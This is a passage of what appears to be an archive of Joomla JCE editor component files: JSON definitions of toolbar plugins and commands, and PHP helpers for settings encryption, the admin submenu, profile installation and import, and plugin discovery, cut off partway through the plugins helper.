    "fullscreen": {
        "title": "WF_FULLSCREEN_TITLE",
        "description": "WF_FULLSCREEN_DESC",
        "icon": "fullscreen",
        "editable": 0,
        "row": 3,
        "core": 1
    },
    "help": {
        "title": "WF_HELP_TITLE",
        "description": "WF_HELP_DESC",
        "icon": "help",
        "editable": 0,
        "row": 1,
        "core": 1,
        "checksum": "${checksum:help}"
    },
    "imgmanager": {
        "title": "WF_IMGMANAGER_TITLE",
        "description": "WF_IMGMANAGER_DESC",
        "icon": "imgmanager",
        "editable": 1,
        "row": 4,
        "core": 1,
        "checksum": "${checksum:imgmanager}"
    },
    "joomla": {
        "title": "WF_JOOMLABUTTONS_TITLE",
        "description": "WF_JOOMLABUTTONS_DESC",
        "icon": "joomla",
        "editable": 0,
        "row": 4,
        "core": 1,
        "class": "split-button"
    },
    "langcode": {
        "title": "WF_LANGCODE_TITLE",
        "description": "WF_LANGCODE_DESC",
        "icon": "langcode",
        "editable": 0,
        "row": 4,
        "core": 1
    },
    "layer": {
        "title": "WF_LAYER_TITLE",
        "description": "WF_LAYER_DESC",
        "icon": "insertlayer,layerforward,layerbackward,layerabsolute",
        "editable": 0,
        "row": 4,
        "core": 1
    },
    "link": {
        "title": "WF_LINK_TITLE",
        "description": "WF_LINK_DESC",
        "icon": "link",
        "editable": 1,
        "row": 4,
        "core": 1,
        "class": "split-button",
        "checksum": "${checksum:link}"
    },
    "lists": {
        "title": "WF_LISTS_TITLE",
        "description": "WF_LISTS_DESC",
        "icon": "numlist,bullist",
        "editable": 1,
        "row": 2,
        "core": 1,
        "class": "split-button"
    },
    "media": {
        "title": "WF_MEDIA_TITLE",
        "description": "WF_MEDIA_DESC",
        "icon": "",
        "editable": 1,
        "row": 0,
        "core": 1
    },
    "nonbreaking": {
        "title": "WF_NONBREAKING_TITLE",
        "description": "WF_NONBREAKING_DESC",
        "icon": "nonbreaking",
        "editable": 0,
        "row": 4,
        "core": 1
    },
    "noneditable": {
        "title": "WF_NONEDITABLE_TITLE",
        "description": "WF_NONEDITABLE_DESC",
        "icon": "",
        "editable": 0,
        "row": 0,
        "core": 1
    },
    "preview": {
        "title": "WF_PREVIEW_TITLE",
        "description": "WF_PREVIEW_DESC",
        "icon": "",
        "editable": 1,
        "row": 0,
        "core": 1,
        "checksum": "${checksum:preview}"
    },
    "print": {
        "title": "WF_PRINT_TITLE",
        "description": "WF_PRINT_DESC",
        "icon": "print",
        "editable": 0,
        "row": 3,
        "core": 1
    },
    "searchreplace": {
        "title": "WF_SEARCHREPLACE_TITLE",
        "description": "WF_SEARCHREPLACE_DESC",
        "icon": "search",
        "editable": 0,
        "row": 2,
        "core": 1
    },
    "source": {
        "title": "WF_SOURCE_TITLE",
        "description": "WF_SOURCE_DESC",
        "icon": "",
        "editable": 1,
        "row": 0,
        "core": 1
    },
    "spellchecker": {
        "title": "WF_SPELLCHECKER_TITLE",
        "description": "WF_SPELLCHECKER_DESC",
        "icon": "spellchecker",
        "editable": 1,
        "row": 4,
        "core": 1,
        "checksum": "${checksum:spellchecker}"
    },
    "style": {
        "title": "WF_STYLE_TITLE",
        "description": "WF_STYLE_DESC",
        "icon": "style",
        "editable": 0,
        "row": 4,
        "core": 1,
        "checksum": "${checksum:style}"
    },
    "styleselect": {
        "title": "WF_STYLESELECT_TITLE",
        "description": "WF_STYLESELECT_DESC",
        "core": 1,
        "icon": "styleselect",
        "row": 1,
        "editable": 1,
        "class": "list-box"
    },
    "tabfocus": {
        "title": "WF_TABFOCUS_TITLE",
        "description": "WF_TABFOCUS_DESC",
        "icon": "",
        "editable": 0,
        "row": 0,
        "core": 1
    },
    "table": {
        "title": "WF_TABLE_TITLE",
        "description": "WF_TABLE_DESC",
        "icon": "table_insert,delete_table,row_props,cell_props,row_before,row_after,delete_row,col_before,col_after,delete_col,split_cells,merge_cells",
        "editable": 1,
        "row": 3,
        "core": 1,
        "checksum": "${checksum:table}"
    },
    "textcase": {
        "title": "WF_TEXTCASE_TITLE",
        "description": "WF_TEXTCASE_DESC",
        "icon": "textcase",
        "editable": 0,
        "row": 4,
        "core": 1,
        "class": "split-button"
    },
    "visualchars": {
        "title": "WF_VISUALCHARS_TITLE",
        "description": "WF_VISUALCHARS_DESC",
        "icon": "visualchars",
        "editable": 0,
        "row": 4,
        "core": 1
    },
    "wordcount": {
        "title": "WF_WORDCOUNT_TITLE",
        "description": "WF_WORDCOUNT_DESC",
        "icon": "",
        "editable": 0,
        "row": 0,
        "core": 1
    },
    "reference": {
        "title": "WF_REFERENCE_TITLE",
        "description": "WF_REFERENCE_DESC",
        "icon": "cite,q,abbr,acronym,del,ins",
        "editable": 1,
        "row": 4,
        "core": 1
    },
    "kitchensink": {
        "title": "WF_KITCHENSINK_TITLE",
        "description": "WF_KITCHENSINK_DESC",
        "core": 1,
        "icon": "kitchensink",
        "row": 1,
        "editable": 0
    },
    "hr": {
        "title": "WF_HR_TITLE",
        "description": "WF_HR_DESC",
        "core": 1,
        "icon": "hr",
        "row": 3,
        "editable": 0
    },
    "visualblocks": {
        "title": "WF_VISUALBLOCKS_TITLE",
        "description": "WF_VISUALBLOCKS_DESC",
        "core": 1,
        "icon": "visualblocks",
        "row": 4,
        "editable": 1
    },
    "emotions": {
        "title": "WF_EMOTIONS_TITLE",
        "description": "WF_EMOTIONS_DESC",
        "core": 1,
        "icon": "emotions",
        "row": 4,
        "editable": 1,
        "class": "split-button"
    }
}com_jce/helpers/commands.json000060400000007523152455305310012307 0ustar00{
    "undo": {
        "title": "WF_UNDO_TITLE",
        "description": "WF_UNDO_DESC",
        "core": 1,
        "icon": "undo",
        "row": 1,
        "editable": 0
    },
    "redo": {
        "title": "WF_REDO_TITLE",
        "description": "WF_REDO_DESC",
        "core": 1,
        "icon": "redo",
        "row": 1,
        "editable": 0
    },
    "bold": {
        "title": "WF_BOLD_TITLE",
        "description": "WF_BOLD_DESC",
        "core": 1,
        "icon": "bold",
        "row": 1,
        "editable": 0
    },
    "italic": {
        "title": "WF_ITALIC_TITLE",
        "description": "WF_ITALIC_DESC",
        "core": 1,
        "icon": "italic",
        "row": 1,
        "editable": 0
    },
    "underline": {
        "title": "WF_UNDERLINE_TITLE",
        "description": "WF_UNDERLINE_DESC",
        "core": 1,
        "icon": "underline",
        "row": 1,
        "editable": 0
    },
    "strikethrough": {
        "title": "WF_STRIKETHROUGH_TITLE",
        "description": "WF_STRIKETHROUGH_DESC",
        "core": 1,
        "icon": "strikethrough",
        "row": 1,
        "editable": 0
    },
    "justifyfull": {
        "title": "WF_JUSTIFYFULL_TITLE",
        "description": "WF_JUSTIFYFULL_DESC",
        "core": 1,
        "icon": "justifyfull",
        "row": 1,
        "editable": 0
    },
    "justifycenter": {
        "title": "WF_JUSTIFYCENTER_TITLE",
        "description": "WF_JUSTIFYCENTER_DESC",
        "core": 1,
        "icon": "justifycenter",
        "row": 1,
        "editable": 0
    },
    "justifyleft": {
        "title": "WF_JUSTIFYLEFT_TITLE",
        "description": "WF_JUSTIFYLEFT_DESC",
        "core": 1,
        "icon": "justifyleft",
        "row": 1,
        "editable": 0
    },
    "justifyright": {
        "title": "WF_JUSTIFYRIGHT_TITLE",
        "description": "WF_JUSTIFYRIGHT_DESC",
        "core": 1,
        "icon": "justifyright",
        "row": 1,
        "editable": 0
    },
    "formatselect": {
        "title": "WF_FORMATSELECT_TITLE",
        "description": "WF_FORMATSELECT_DESC",
        "core": 1,
        "icon": "formatselect",
        "row": 1,
        "editable": 0,
        "class": "list-box"
    },
    "newdocument": {
        "title": "WF_NEWDOCUMENT_TITLE",
        "description": "WF_NEWDOCUMENT_DESC",
        "core": 1,
        "icon": "newdocument",
        "row": 1,
        "editable": 0
    },
    "unlink": {
        "title": "WF_UNLINK_TITLE",
        "description": "WF_UNLINK_DESC",
                "core": 1,
        "icon": "unlink",
        "row": 4,
        "editable": 0
    },
    "indent": {
        "title": "WF_INDENT_TITLE",
        "description": "WF_INDENT_DESC",
        "core": 1,
        "icon": "indent",
        "row": 2,
        "editable": 0
    },
    "outdent": {
        "title": "WF_OUTDENT_TITLE",
        "description": "WF_OUTDENT_DESC",
        "core": 1,
        "icon": "outdent",
        "row": 2,
        "editable": 0
    },
    "blockquote": {
        "title": "WF_BLOCKQUOTE_TITLE",
        "description": "WF_BLOCKQUOTE_DESC",
        "core": 1,
        "icon": "blockquote",
        "row": 1,
        "editable": 0
    },
    "removeformat": {
        "title": "WF_REMOVEFORMAT_TITLE",
        "description": "WF_REMOVEFORMAT_DESC",
        "core": 1,
        "icon": "removeformat",
        "row": 1,
        "editable": 0
    },
    "sub": {
        "title": "WF_SUB_TITLE",
        "description": "WF_SUB_DESC",
        "core": 1,
        "icon": "sub",
        "row": 2,
        "editable": 0
    },
    "sup": {
        "title": "WF_SUP_TITLE",
        "description": "WF_SUP_DESC",
        "core": 1,
        "icon": "sup",
        "row": 2,
        "editable": 0
    },
   	"visualaid": {
        "title": "WF_VISUALAID_TITLE",
        "description": "WF_VISUALAID_DESC",
        "core": 1,
        "icon": "visualaid",
        "row": 4,
        "editable": 0
    }
}com_jce/helpers/encrypt.php000060400000010174152455305310012004 0ustar00<?php

/**
 * @copyright Copyright (c)2018 Ryan Demmer
 * @license GNU General Public License version 3, or later
 *
 * @since 2.7
 */
// Protection against direct access
\defined('_JEXEC') or die;

use Defuse\Crypto\Key;
use Defuse\Crypto\Encoding;
use Defuse\Crypto\Crypto;

/**
 * Implements encrypted settings handling features.
 */
class JceEncryptHelper
{
    protected static function generateKey()
    {        
        $keyObject = Key::createNewRandomKey();
        $keyAscii = $keyObject->saveToAsciiSafeString();

        $keyData = Encoding::binToHex($keyAscii);

        $filecontents = "<?php defined('WF_EDITOR') or die(); define('WF_SERVERKEY', '$keyData'); ?>";
        $filename     = JPATH_ADMINISTRATOR . '/components/com_jce/serverkey.php';

        file_put_contents($filename, $filecontents);

        return Key::loadFromAsciiSafeString($keyAscii);
    }

    /**
     * Gets the configured server key, automatically loading the server key storage file
     * if required.
     *
     * @return string
     */
    public static function getKey($legacy = false)
    {
        if (!defined('WF_SERVERKEY')) {
            $filename = JPATH_ADMINISTRATOR . '/components/com_jce/serverkey.php';

            if (is_file($filename)) {
                include_once($filename);
            }
        }

        if (defined('WF_SERVERKEY')) {
            // return key as string
            if ($legacy) {
                $key = base64_decode(WF_SERVERKEY);
                return $key;
            }

            try {
                $keyAscii = Encoding::hexToBin(WF_SERVERKEY);
                $key = Key::loadFromAsciiSafeString($keyAscii);
            } catch(Defuse\Crypto\Exception\BadFormatException $ex) {
                return "";
            }

            return $key;
        }

        return self::generateKey();
    }

    /**
     * Encrypts the settings using the automatically detected preferred algorithm.
     *
     * @param $settingsINI string The raw settings INI string
     *
     * @return string The encrypted data to store in the database
     */
    public static function encrypt($data, $key = null)
    {
        // Do we have a non-empty key to begin with?
        if (empty($key)) {
            $key = self::getKey();
        }

        if (empty($key)) {
            return $data;
        }

        $encrypted = Crypto::encrypt($data, $key);

        // base64encode
        $encoded = base64_encode($encrypted);

        // add marker
        $data = '###DEFUSE###' . $encoded;

        return $data;
    }

    /**
     * Decrypts the encrypted settings and returns the plaintext INI string.
     *
     * @param $encrypted string The encrypted data
     *
     * @return string The decrypted data
     */
    public static function decrypt($encrypted, $key = null)
    {
        $mode = substr($encrypted, 0, 12);

        if ($mode == '###AES128###' || $mode == '###CTR128###') {
            require_once(__DIR__ . '/encrypt/aes.php');
            
            $encrypted = substr($encrypted, 12);

            $key = self::getKey(true);

            switch ($mode) {
                case '###AES128###':
                    $encrypted = base64_decode($encrypted);
                    $decrypted = @WFUtilEncrypt::AESDecryptCBC($encrypted, $key, 128);
                    break;
    
                case '###CTR128###':
                    $decrypted = @WFUtilEncrypt::AESDecryptCtr($encrypted, $key, 128);
                    break;
            }

            return rtrim($decrypted, "\0");
        }

        if ($mode == '###DEFUSE###') {
            $key = self::getKey();

            if (empty($key)) {
                return $encrypted;
            }

            //get encrypted string without marker
            $encrypted = substr($encrypted, 12);
            
            // base64decode
            $decoded = base64_decode($encrypted);

            try {
                $decrypted = Crypto::decrypt($decoded, $key);
            } catch (Defuse\Crypto\Exception\WrongKeyOrModifiedCiphertextException $ex) {
                return $encrypted;
            }

            return rtrim($decrypted, "\0");
        }

        return $encrypted;
    }
}
com_jce/helpers/admin.php000060400000003552152455305310011412 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\HTML\Helpers\Sidebar;

/**
 * Admin helper.
 *
 * @since       3.0
 */
class JceHelperAdmin
{
    /**
     * Configure the Submenu links.
     *
     * @param string $vName The view name
     *
     * @since   3.0
     */
    public static function addSubmenu($vName)
    {
        $uri = (string) Uri::getInstance();
        $return = urlencode(base64_encode($uri));

        $user = Factory::getUser();

        Sidebar::addEntry(
            Text::_('WF_CPANEL'),
            'index.php?option=com_jce&view=cpanel',
            $vName == 'cpanel'
        );

        $views = array(
            'config' => 'WF_CONFIGURATION',
            'profiles' => 'WF_PROFILES',
            'browser' => 'WF_CPANEL_BROWSER',
            'mediabox' => 'WF_MEDIABOX',
        );

        foreach ($views as $key => $label) {

            if ($key === "mediabox" && !PluginHelper::isEnabled('system', 'jcemediabox')) {
                continue;
            }

            if ($user->authorise('jce.' . $key, 'com_jce')) {
                Sidebar::addEntry(
                    Text::_($label),
                    'index.php?option=com_jce&view=' . $key,
                    $vName == $key
                );
            }
        }
    }

    public static function getTemplateStylesheets()
    {
        require_once JPATH_SITE . '/components/com_jce/editor/libraries/classes/editor.php';

        return WFEditor::getTemplateStyleSheets();
    }
}
com_jce/helpers/profiles.php000060400000027666152455305310012161 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;
use Joomla\String\StringHelper;

abstract class JceProfilesHelper
{
    /**
     * Create the Profiles table.
     *
     * @return bool
     */
    public static function createProfilesTable()
    {
        $app = Factory::getApplication();

        $db = Factory::getDBO();
        $driver = strtolower($db->name);

        switch ($driver) {
            default:
            case 'mysql':
            case 'mysqli':
                $driver = 'mysql';
                break;
            case 'sqlsrv':
            case 'sqlazure':
            case 'sqlzure':
                $driver = 'sqlsrv';
                break;
            case 'postgresql':
            case 'pgsql':
                $driver = 'postgresql';
                break;
        }

        $file = JPATH_ADMINISTRATOR . '/components/com_jce/sql/' . $driver . '.sql';
        $error = null;

        if (is_file($file)) {
            $query = file_get_contents($file);

            if ($query) {
                // replace prefix
                $query = $db->replacePrefix((string) $query);

                // set query
                $db->setQuery(trim($query));

                if (!$db->execute()) {
                    $app->enqueueMessage(Text::_('WF_INSTALL_TABLE_PROFILES_ERROR') . $db->stdErr(), 'error');

                    return false;
                } else {
                    return true;
                }
            } else {
                $error = 'NO SQL QUERY';
            }
        } else {
            $error = 'SQL FILE MISSING';
        }

        $app->enqueueMessage(Text::_('WF_INSTALL_TABLE_PROFILES_ERROR') . !is_null($error) ? ' - ' . $error : '', 'error');

        return false;
    }

    /**
     * Install Profiles.
     *
     * @return bool
     *
     * @param object $install[optional]
     */
    public static function installProfiles()
    {
        $app = Factory::getApplication();
        $db = Factory::getDBO();

        if (self::createProfilesTable()) {
            self::buildCountQuery();

            $profiles = array('Default' => false, 'Front End' => false);

            // No Profiles table data
            if (!$db->loadResult()) {
                $xml = JPATH_ADMINISTRATOR . '/components/com_jce/models/profiles.xml';

                if (is_file($xml)) {
                    if (!self::processImport($xml)) {
                        $app->enqueueMessage(Text::_('WF_INSTALL_PROFILES_ERROR'), 'error');

                        return false;
                    }
                } else {
                    $app->enqueueMessage(Text::_('WF_INSTALL_PROFILES_NOFILE_ERROR'), 'error');

                    return false;
                }
            }

            return true;
        }

        return false;
    }

    private static function buildCountQuery($name = '')
    {
        $db = Factory::getDBO();

        $query = $db->getQuery(true);

        // check for name
        $query->select('COUNT(id)')->from('#__wf_profiles');

        if ($name) {
            $query->where('name = ' . $db->Quote($name));
        }

        $db->setQuery($query);
    }

    public static function getDefaultProfile()
    {
        $mainframe = Factory::getApplication();
        $file = JPATH_ADMINISTRATOR . '/components/com_jce/models/profiles.xml';

        $xml = simplexml_load_file($file);

        Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_jce/tables');

        if ($xml) {
            foreach ($xml->profiles->children() as $profile) {
                if ($profile->attributes()->default) {
                    $table = Table::getInstance('Profiles', 'JceTable');

                    foreach ($profile->children() as $item) {
                        switch ($item->getName()) {
                            case 'rows':
                                $table->rows = (string) $item;
                                break;
                            case 'plugins':
                                $table->plugins = (string) $item;
                                break;
                            default:
                                $key = $item->getName();
                                $table->$key = (string) $item;

                                break;
                        }
                    }

                    // reset name and description
                    $table->name = '';
                    $table->description = '';

                    return $table;
                }
            }
        }

        return null;
    }

    /**
     * Check whether a table exists.
     *
     * @return bool
     *
     * @param string $table Table name
     */
    public static function checkTable()
    {
        $db = Factory::getDBO();

        $tables = $db->getTableList();

        if (!empty($tables)) {
            // swap array values with keys, convert to lowercase and return array keys as values
            $tables = array_keys(array_change_key_case(array_flip($tables)));
            $app = Factory::getApplication();
            $match = str_replace('#__', strtolower($app->getCfg('dbprefix', '')), '#__wf_profiles');

            return in_array($match, $tables);
        }

        // try with query
        self::buildCountQuery();

        return $db->execute();
    }

    /**
     * Check table contents.
     *
     * @return int
     *
     * @param string $table Table name
     */
    public static function checkTableContents()
    {
        $db = Factory::getDBO();

        self::buildCountQuery();

        return $db->loadResult();
    }

    public static function getUserGroups($area)
    {
        $db = Factory::getDBO();

        $query = $db->getQuery(true);

        $query->select('id')->from('#__usergroups');

        $db->setQuery($query);
        $groups = $db->loadColumn();

        $front = array();
        $back = array();

        foreach ($groups as $group) {
            $create = Access::checkGroup($group, 'core.create');
            $admin = Access::checkGroup($group, 'core.login.admin');
            $super = Access::checkGroup($group, 'core.admin');

            if ($super) {
                $back[] = $group;
            } else {
                // group can create
                if ($create) {
                    // group has admin access
                    if ($admin) {
                        $back[] = $group;
                    } else {
                        $front[] = $group;
                    }
                }
            }
        }

        switch ($area) {
            case 0:
                return array_merge($front, $back);
                break;
            case 1:
                return $front;
                break;
            case 2:
                return $back;
                break;
        }

        return array();
    }

    /**
     * Process import data from XML file.
     *
     * @param object $file    XML file
     * @param bool   $install Can be used by the package installer
     */
    public static function processImport($file)
    {
        $n = 0;

        $app = Factory::getApplication();

        // load data from file
        $data = file_get_contents($file);
        // format params data as CDATA
        $data = preg_replace('#<params>{(.+?)}<\/params>#', '<params><![CDATA[{$1}]]></params>', $data);
        // load processed string
        $xml = simplexml_load_string($data);

        $user = Factory::getUser();
        $date = Factory::getDate();

        Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_jce/tables');

        $language = Factory::getLanguage();
        $language->load('com_jce', JPATH_ADMINISTRATOR, null, true);

        if ($xml) {
            foreach ($xml->profiles->children() as $profile) {
                $table = Table::getInstance('Profiles', 'JceTable');

                foreach ($profile->children() as $item) {
                    $key = $item->getName();
                    $value = (string) $item;

                    switch ($key) {
                        case 'name':
                            // only if name set and table name not set
                            if ($value) {
                                // create name copy if exists
                                while ($table->load(array('name' => $value))) {
                                    if ($value === $table->name) {
                                        $value = StringHelper::increment($value);
                                    }
                                }
                            }
                            break;

                        case 'description':
                            $value = Text::_($value);
                            break;
                        case 'types':

                            if ($value === "") {
                                $area = (string) $profile->area[0] || 0;
                                $groups = self::getUserGroups($area);
                                $value = implode(',', array_unique($groups));
                            }
                            break;
                        case 'users':
                            break;
                        case 'area':
                            if ($value === "") {
                                $value = '0';
                            }

                            break;
                        case 'components':
                            break;
                        case 'params':
                            if (!empty($value)) {
                                $data = json_decode($value, true);

                                if (is_array($data)) {
                                    array_walk($data, function (&$param, $key) {
                                        if (is_string($param) && WFUtility::isJson($param)) {
                                            $param = json_decode($param, true);
                                        }
                                    });
                                }

                                $value = json_encode($data);
                            }

                            if (empty($value)) {
                                $value = "{}";
                            }

                            break;
                        case 'rows':
                            break;
                        case 'plugins':
                            break;
                        case 'area':
                        case 'published':
                        case 'ordering':
                            $value = (int) $value;
                            break;
                    }

                    $table->$key = $value;
                }

                // set new id
                $table->id = 0;

                // set checked_out
                $table->checked_out = $user->get('id');

                // set checked_out_time
                $table->checked_out_time = $date->toSQL();

                if (!$table->store()) {
                    $app->enqueueMessage($table->getError(), 'error');
                    return false;
                }

                // check-in
                $table->checkin();

                ++$n;
            }
        }

        return $n;
    }

    /**
     * CDATA encode a parameter if it contains & < > characters, eg: <![CDATA[index.php?option=com_content&view=article&id=1]]>.
     *
     * @param object $param
     *
     * @return CDATA encoded parameter or parameter
     */
    public static function encodeData($data)
    {
        if (preg_match('/[<>&]/', $data)) {
            $data = '<![CDATA[' . $data . ']]>';
        }

        $data = preg_replace('/"/', '\"', $data);

        return $data;
    }
}
com_jce/helpers/plugins.php000060400000034200152455305310011775 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Uri\Uri;

require_once JPATH_ADMINISTRATOR . '/components/com_jce/includes/base.php';

abstract class JcePluginsHelper
{
    public static function getCommands()
    {
        $data = file_get_contents(__DIR__ . '/commands.json');
        $json = json_decode($data);

        $commands = array();

        if ($json) {
            foreach ($json as $name => $attribs) {
                $attribs->type = 'command';
                $commands[$name] = $attribs;
            }
        }

        return $commands;
    }

    public static function isValidPlugin($name)
    {
        $plugins = self::getPlugins();
        return isset($plugins[$name]);
    }

    /**
     * Get a list of all code, pro and installed plugins.
     *
     * @return array $plugins
     */
    public static function getPlugins()
    {
        $app = Factory::getApplication();
        $language = Factory::getLanguage();

        static $plugins;

        if (!isset($plugins)) {
            $plugins = array();

            // get core json
            $core = file_get_contents(__DIR__ . '/plugins.json');
            // decode to object
            $data = json_decode($core);

            if ($data) {
                foreach ($data as $name => $attribs) {
                    // skip if the plugin file is missing
                    if (!is_file(WF_EDITOR_MEDIA . '/tinymce/plugins/' . $name . '/plugin.js')) {
                        continue;
                    }

                    // update attributes
                    $attribs->type = 'plugin';

                    $attribs->path = WF_EDITOR_PLUGINS . '/' . $name;
                    $attribs->manifest = WF_EDITOR_PLUGINS . '/' . $name . '/' . $name . '.xml';

                    $attribs->image = '';

                    if (!isset($attribs->class)) {
                        $attribs->class = '';
                    }

                    // compatability
                    $attribs->name = $name;
                    // pass to array
                    $plugins[$name] = $attribs;
                }
            }

            // get plugins external sources via event, eg: JCE Pro System Plugin
            $app->triggerEvent('onWfPluginsHelperGetPlugins', array(&$plugins));

            // get all installed plugins
            $installed = PluginHelper::getPlugin('jce');

            foreach ($installed as $item) {
                // check for delimiter, only load editor plugins
                if (!preg_match('/^editor[-_]/', $item->name)) {
                    continue;
                }

                // create path
                $path = JPATH_PLUGINS . '/jce/' . $item->name;

                // load language
                $language->load('plg_jce_' . $item->name, JPATH_ADMINISTRATOR);
                $language->load('plg_jce_' . $item->name, $path);

                // get xml file
                $file = $path . '/' . $item->name . '.xml';

                if (is_file($file)) {
                    // load xml data
                    $xml = simplexml_load_file($file);

                    if ($xml) {
                        // check xml file is valid
                        if ((string) $xml->getName() != 'extension') {
                            continue;
                        }

                        // remove "editor-" or "editor_"
                        $name = substr($item->name, 7);

                        $attribs = new StdClass();
                        $attribs->name = $name;
                        $attribs->manifest = $file;

                        $params = $xml->fields;

                        $attribs->title = (string) $xml->name;
                        $attribs->icon = (string) $xml->icon;
                        $attribs->editable = 0;

                        // set default values
                        $attribs->image = '';
                        $attribs->class = '';

                        if ($xml->icon->attributes()) {
                            foreach ($xml->icon->attributes() as $key => $value) {
                                $attribs->$key = $value;
                            }
                        }

                        if ($attribs->image) {
                            $attribs->image = Uri::root(true) . '/' . $attribs->image;
                        }

                        // can't be editable without parameters
                        if ($params && count($params->children())) {
                            $attribs->editable = 1;
                        }

                        $row = (int) $xml->attributes()->row;

                        // set row from passed in value or 0
                        $attribs->row = $row;

                        // if an icon is set and no row, default to 4
                        if (!empty($attribs->icon) && !$row) {
                            $attribs->row = 4;
                        }

                        $attribs->description = (string) $xml->description;
                        $attribs->core = 0;

                        // relative path
                        $attribs->path = $path;
                        $attribs->url = 'plugins/jce/' . $item->name;

                        // get snake-case name to check for media folder
                        $snake_case_name = str_replace('-', '_', $item->name);

                        // url in Joomla media folder
                        if (is_dir(JPATH_SITE . '/media/plg_jce_' . $snake_case_name)) {
                            $attribs->url = 'media/plg_jce_' . $snake_case_name;
                        }

                        $attribs->type = 'plugin';

                        $plugins[$name] = $attribs;
                    }
                }
            }
        }

        return $plugins;
    }

    /**
     * Get installed extensions.
     *
     * @return array $extensions
     */
    public static function getExtensions($type = '')
    {
        $language = Factory::getLanguage();

        static $extensions;

        if (empty($extensions)) {
            $extensions = array();

            // recursively get all extension files
            $files = Folder::files(WF_EDITOR_EXTENSIONS, '\.xml$', true, true);

            foreach ($files as $file) {
                $name = basename($file, '.xml');

                $object = new StdClass();
                $object->folder = basename(dirname($file));
                $object->manifest = $file;
                $object->plugins = array();
                $object->name = $name;
                $object->title = 'WF_' . strtoupper($object->folder) . '_' . strtoupper($name) . '_TITLE';
                $object->description = '';
                $object->id = $object->folder . '.' . $object->name;
                $object->extension = $object->name;
                // set as non-core by default
                $object->core = 0;
                // set as not editable by default
                $object->editable = 0;
                // set type
                $object->type = $object->folder;

                $extensions[$object->type][] = $object;
            }

            // get all installed plugins
            $installed = PluginHelper::getPlugin('jce');

            if (!empty($installed)) {
                foreach ($installed as $p) {
                    // check for delimiter to remove legacy extensions
                    if (!preg_match('/[-_]/', $p->name)) {
                        continue;
                    }

                    // only load "extensions", not editor plugins
                    if (preg_match('/^editor[-_]/', $p->name)) {
                        continue;
                    }

                    // set path
                    $p->path = JPATH_PLUGINS . '/jce/' . $p->name;

                    $parts = preg_split('/[-_]/', $p->name, 2);

                    // get type and name
                    $p->folder = $parts[0];
                    $p->extension = $parts[1];

                    // plugin manifest, eg: filesystem-joomla.xml
                    $p->manifest = $p->path . '/' . $p->name . '.xml';

                    $p->plugins = array();
                    $p->description = '';

                    // load language
                    $language->load('plg_jce_' . $p->name, JPATH_ADMINISTRATOR);
                    $language->load('plg_jce_' . $p->name, $p->path);

                    list($p->type, $p->name) = preg_split('/[-_]/', $p->name, 2);

                    // create title from name parts, eg: plg_jce_filesystem_joomla
                    $p->title = 'plg_jce_' . $p->type . '_' . $p->name;

                    // create plugin id, eg: filesystem.joomla
                    $p->id = $p->type . '.' . $p->name;

                    // not core
                    $p->core = 0;

                    // set as not editable by default
                    $p->editable = 0;

                    $extensions[$p->type][] = $p;
                }
            }
        }

        if ($type && isset($extensions[$type])) {
            return $extensions[$type];
        }

        return $extensions;
    }

    public static function addToProfile($id, $plugin)
    {
        Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_jce/tables');

        // Add to Default Group
        $profile = Table::getInstance('Profiles', 'JceTable');

        if ($profile->load($id)) {
            // Add to plugins list
            $plugins = explode(',', $profile->plugins);

            if (!in_array($plugin->name, $plugins)) {
                $plugins[] = $plugin->name;
            }

            $profile->plugins = implode(',', $plugins);

            if ($plugin->icon) {
                if (in_array($plugin->name, preg_split('/[;,]+/', $profile->rows)) === false) {
                    // get rows as array
                    $rows = explode(';', $profile->rows);

                    if (count($rows)) {
                        // get key (row number)
                        $key = count($rows) - 1;
                        // get row contents as array
                        $row = explode(',', $rows[$key]);
                        // add plugin name to end of row
                        $row[] = $plugin->name;
                        // add row data back to rows array
                        $rows[$key] = implode(',', $row);

                        $profile->rows = implode(';', $rows);
                    }
                }
            }

            if (!$profile->store()) {
                throw new Exception(Text::_('WF_INSTALLER_PLUGIN_PROFILE_ERROR'));
            }
        }

        return true;
    }

    public static function removeFromProfile($id, $plugin)
    {
        Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_jce/tables');

        // Add to Default Group
        $profile = Table::getInstance('Profiles', 'JceTable');

        if ($profile->load($id)) {
            // remove from plugins list
            $plugins = explode(',', $profile->plugins);
            $key = array_search($plugin->name, $plugins);

            if ($key) {
                unset($plugins[$key]);
                $profile->plugins = implode(',', array_values($plugins));
            }

            if ($plugin->icon) {
                // check if its in the profile
                if (in_array($plugin->name, preg_split('/[;,]+/', $profile->rows))) {
                    $lists = array();
                    foreach (explode(';', $profile->rows) as $list) {
                        $icons = explode(',', $list);
                        foreach ($icons as $k => $v) {
                            if ($plugin->name == $v) {
                                unset($icons[$k]);
                            }
                        }
                        $lists[] = implode(',', $icons);
                    }
                    $profile->rows = implode(';', $lists);
                }

                if (!$profile->store()) {
